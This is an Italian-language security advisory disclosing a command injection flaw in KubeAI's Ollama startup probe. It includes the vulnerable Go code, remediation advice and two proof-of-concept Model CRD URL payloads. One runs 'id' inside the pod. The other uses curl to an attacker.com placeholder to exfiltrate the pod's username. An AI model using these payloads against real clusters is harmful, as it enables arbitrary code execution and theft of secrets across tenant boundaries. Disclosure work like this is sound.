
OS Command Injection in KubeAI via Model URL in Ollama startup probe — CVSS 8.7
Gravità: Alta (CVSS 8.7)
CWE: CWE-78 — Neutralizzazione Impropria di Elementi Speciali utilizzati in un Comando del Sistema Operativo
Componente interessato: github.com/kubeai-project/kubeai <= commit ba1824e
Advisory: GHSA
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34940
KubeAI costruisce uno script shell per il probe di avvio di Kubernetes interpolando i componenti dell'URL del CRD Model (ref, modelParam) in un comando bash -c tramite fmt.Sprintf in Go. I metacaratteri shell nell'URL non vengono sanificati, consentendo a qualsiasi utente con permessi RBAC di creazione/aggiornamento del CRD Model di eseguire comandi arbitrari all'interno dei pod del server di modelli — senza privilegi di cluster-admin.
Stavo esaminando gli operatori Kubernetes di inferenza AI — strumenti che consentono di distribuire LLM come workload K8s creando CRD. KubeAI supporta Ollama, vLLM e altri motori. La mia ipotesi era: se un utente può creare CRD Model, può influenzare ciò che viene eseguito all'interno dei pod dei modelli?
Il codice del motore vLLM ha subito mostrato il pattern corretto: argomenti passati come array di stringhe a exec, senza shell coinvolta. Quindi ho esaminato il motore Ollama per contrasto — e ho trovato fmt.Sprintf("%s %s", pullCmd, u.ref) che alimenta bash -c. Classico setup di iniezione shell.
La regex del parser URL [^?]+ (tutto tranne ?) è ciò che sigilla il tutto: punti e virgola, backtick, $() sono tutti validi in u.ref. Ho scritto il PoC YAML, l'ho applicato e ho osservato id > /tmp/pwned eseguire all'interno del pod del modello.
La sfumatura che eleva questo problema: nei cluster K8s multi-tenant, l'RBAC del CRD Model è spesso concesso a team che esplicitamente non sono cluster-admin. Questo offre a un tenant con privilegi limitati un percorso diretto verso l'esecuzione di codice arbitrario nei pod dei modelli — incluso l'accesso a secret montati e token dell'account di servizio. Attraversa un confine di privilegi che l'RBAC di K8s dovrebbe far rispettare.
File: internal/modelcontroller/engine_ollama.go, righe 185–196
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref e u.modelParam provengono dal campo URL del CRD Model — controllati dall'utente
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: nessuna sanificazione
)
// ...
}
Questa stringa viene poi eseguita come:
Command: []string{"bash", "-c", startupProbeScript}
Parser URL (model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Il gruppo di cattura 2 ([^?]+) consente qualsiasi carattere tranne '?'
// I metacaratteri shell ; | $() ` sono tutti validi
Contrasto con il motore vLLM (sicuro):
// engine_vllm.go — argomenti passati come array, nessuna shell coinvolta
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Il motore Ollama prende una scorciatoia: costruisce una pipeline shell multi-step come stringa e la passa a bash -c. Il motore vLLM utilizza array di argomenti in stile exec. Nessun webhook di ammissione o validazione dello schema CRD limita il campo URL a caratteri sicuri.
Vedi poc.yaml — applica con kubectl apply -f poc.yaml su un cluster che esegue KubeAI con modelli Ollama.
Vettore 1 — ref URL ollama:// (iniezione con punto e virgola):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
Probe di avvio generato:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
id>/tmp/pwned viene eseguito e scrive uid=0(root)... in /tmp/pwned all'interno del pod.
Vettore 2 — parametro query ?model= (esfiltrazione OOB):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
Probe generato:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
Esfiltra il nome utente del pod verso un server controllato dall'attaccante.
ModelSostituisci bash -c <string> con un probe in stile exec che passa gli argomenti come array (come fa già il motore vLLM), oppure valida i campi URL contro ^[a-zA-Z0-9._:/-]+$ prima dell'interpolazione.